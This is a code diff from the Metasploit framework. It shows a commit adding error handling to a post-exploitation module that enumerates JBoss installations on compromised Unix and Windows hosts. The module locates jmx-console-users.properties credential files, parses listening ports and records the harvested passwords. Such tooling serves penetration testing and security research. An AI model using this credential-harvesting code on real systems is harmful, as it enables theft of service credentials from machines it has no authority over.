Skip to content

Commit df7932b

Browse files
author
Koen Riepe
committed
Added more error handling
1 parent 4be426d commit df7932b

File tree

1 file changed

+88
-76
lines changed

1 file changed

+88
-76
lines changed

modules/post/multi/gather/jboss_gather.rb

Lines changed: 88 additions & 76 deletions
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,7 @@ def report_creds(user, pass, port)
3434
credential_core = create_credential(credential_data)
3535

3636
if not port.is_a? Integer
37-
print_status("Port not an Integer, Something probably went wrong")
37+
print_status("Failed to detect port, defaulting to 8080 for creds database")
3838
port = 8080
3939
end
4040

@@ -141,107 +141,120 @@ def getports()
141141
def gathernix()
142142
print_status("Unix OS detected, attempting to locate Jboss services")
143143
version = getversion(cmd_exec('locate jar-versions.xml').split("\n"))
144-
home = readhome(cmd_exec('printenv').split("\n"))
145-
pwfiles = getpwfiles(cmd_exec('locate jmx-console-users.properties').split("\n"),home)
146-
listenports = getports()
147-
getpw(pwfiles,listenports)
144+
home = readhome(cmd_exec('printenv').split("\n"))
145+
pwfiles = getpwfiles(cmd_exec('locate jmx-console-users.properties').split("\n"),home)
146+
listenports = getports()
147+
getpw(pwfiles,listenports)
148148
end
149149

150150
def winhome()
151+
home = Array.new
151152
exec = cmd_exec('WMIC PROCESS get Caption,Commandline').split("\n")
152153
exec.each do |line|
153-
if line.downcase.include? "java.exe" and line.downcase.include? "jboss"
154-
print_status("Jboss process found")
155-
home = line.split('-classpath "')[1].split("\\bin\\")[0]
156-
return home
157-
end
154+
if line.downcase.include? "java.exe" and line.downcase.include? "jboss"
155+
print_status("Jboss service found")
156+
parse = line.split('-classpath "')[1].split("\\bin\\")[0]
157+
if parse[0] == ';'
158+
home.push(parse.split(';')[1])
159+
else
160+
home.push(parse)
161+
end
162+
end
158163
end
159-
end
164+
return home
165+
end
160166

161-
def wingetinstances(home)
162-
instances = Array.new
163-
instance_location = home + "\\server"
164-
exec = cmd_exec('cmd /c dir ' + instance_location).split("\n")
165-
exec.each do |instance|
166-
if instance.split("<DIR>")[1]
167-
if (not instance.split("<DIR>")[1].strip().include? ".") and (not instance.split("<DIR>")[1].strip().include? "..")
168-
instance_path = home + "\\server\\" + (instance.split("<DIR>")[1].strip())
169-
instances.push(instance_path)
170-
end
167+
def wingetinstances(home)
168+
instances = Array.new
169+
instance_location = home + "\\server"
170+
exec = cmd_exec('cmd /c dir ' + instance_location).split("\n")
171+
exec.each do |instance|
172+
if instance.split("<DIR>")[1]
173+
if (not instance.split("<DIR>")[1].strip().include? ".") and (not instance.split("<DIR>")[1].strip().include? "..")
174+
instance_path = home + "\\server\\" + (instance.split("<DIR>")[1].strip())
175+
instances.push(instance_path)
171176
end
172177
end
173-
return instances
174178
end
179+
return instances
180+
end
175181

176-
def winpwfiles(instances)
177-
files = Array.new
178-
instances.each do |seed|
179-
file_path = seed + "\\conf\\props\\jmx-console-users.properties"
180-
if exist?(file_path)
181-
files.push(file_path)
182-
end
182+
def winpwfiles(instances)
183+
files = Array.new
184+
instances.each do |seed|
185+
file_path = seed + "\\conf\\props\\jmx-console-users.properties"
186+
if exist?(file_path)
187+
files.push(file_path)
183188
end
184-
return files
185189
end
190+
return files
191+
end
186192

187-
def wingetport(instances)
188-
port = Array.new
193+
def wingetport(instances)
194+
port = Array.new
189195

190-
instances.each do |seed|
191-
path1 = seed + "\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml"
192-
path2 = seed + "\\deploy\\jboss-web.deployer\\server.xml"
196+
instances.each do |seed|
197+
path1 = seed + "\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml"
198+
path2 = seed + "\\deploy\\jboss-web.deployer\\server.xml"
193199

194-
if exist?(path1)
195-
file1 = read_file(seed + "\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml").split("\n")
196-
end
200+
if exist?(path1)
201+
file1 = read_file(seed + "\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml").split("\n")
202+
end
197203

198-
if exist?(path2)
199-
file2 = read_file(seed + "\\deploy\\jboss-web.deployer\\server.xml")
200-
end
204+
if exist?(path2)
205+
file2 = read_file(seed + "\\deploy\\jboss-web.deployer\\server.xml")
206+
end
201207

202-
if file1
203-
print_status("Bind file found: " + seed + "\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml")
204-
parse = false
205-
nextport = false
206-
file1.each do |line|
207-
if line.strip() == '<bean class="org.jboss.services.binding.ServiceBindingMetadata">'
208-
parse = true
209-
elsif line.strip() == '</bean>'
210-
parse = false
211-
elsif parse and line.include? "HttpConnector"
212-
nextport = true
213-
elsif parse and nextport
214-
port.push(line.split('<property name="port">')[1].split('<')[0].to_i)
215-
nextport = false
216-
end
208+
if file1
209+
print_status("Bind file found: " + seed + "\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml")
210+
parse = false
211+
nextport = false
212+
file1.each do |line|
213+
if line.strip() == '<bean class="org.jboss.services.binding.ServiceBindingMetadata">'
214+
parse = true
215+
elsif line.strip() == '</bean>'
216+
parse = false
217+
elsif parse and line.include? "HttpConnector"
218+
nextport = true
219+
elsif parse and nextport
220+
port.push(line.split('<property name="port">')[1].split('<')[0].to_i)
221+
nextport = false
222+
print_status(line.split('<property name="port">')[1].split('<')[0])
217223
end
218224
end
225+
end
219226

220-
if file2
221-
print_status("Bind file found: " + seed + "\\deploy\\jboss-web.deployer\\server.xml")
222-
xml2 = Nokogiri::XML(file2)
223-
xml2.xpath("//Server//Connector").each do |connector|
224-
if connector['protocol'].include? "HTTP"
225-
print_status(connector['port'])
226-
port.push(connector['port'].to_i)
227-
break
228-
end
227+
if file2
228+
print_status("Bind file found: " + seed + "\\deploy\\jboss-web.deployer\\server.xml")
229+
xml2 = Nokogiri::XML(file2)
230+
xml2.xpath("//Server//Connector").each do |connector|
231+
if connector['protocol'].include? "HTTP"
232+
print_status(connector['port'])
233+
port.push(connector['port'].to_i)
234+
break
229235
end
230236
end
231237
end
232-
return port
233-
end
238+
end
239+
return port
240+
end
234241

235242
def gatherwin()
236243
print_status("Windows OS detected, enumerating services")
237-
home = winhome()
238-
version_file = Array.new
239-
version_file.push(home + "\\jar-versions.xml")
240-
version = getversion(version_file)
241-
instances = wingetinstances(home)
242-
pwfiles = winpwfiles(instances)
243-
listenports = wingetport(instances)
244-
getpw(pwfiles,listenports)
244+
homeArray = winhome()
245+
if homeArray.size > 0
246+
homeArray.each do |home|
247+
version_file = Array.new
248+
version_file.push(home + "\\jar-versions.xml")
249+
version = getversion(version_file)
250+
instances = wingetinstances(home)
251+
pwfiles = winpwfiles(instances)
252+
listenports = wingetport(instances)
253+
getpw(pwfiles,listenports)
254+
end
255+
else
256+
print_status("No Jboss service has been found")
257+
end
245258
end
246259

247260
def run
@@ -251,5 +264,4 @@ def run
251264
gathernix()
252265
end
253266
end
254-
255267
end

0 commit comments

Comments
 (0)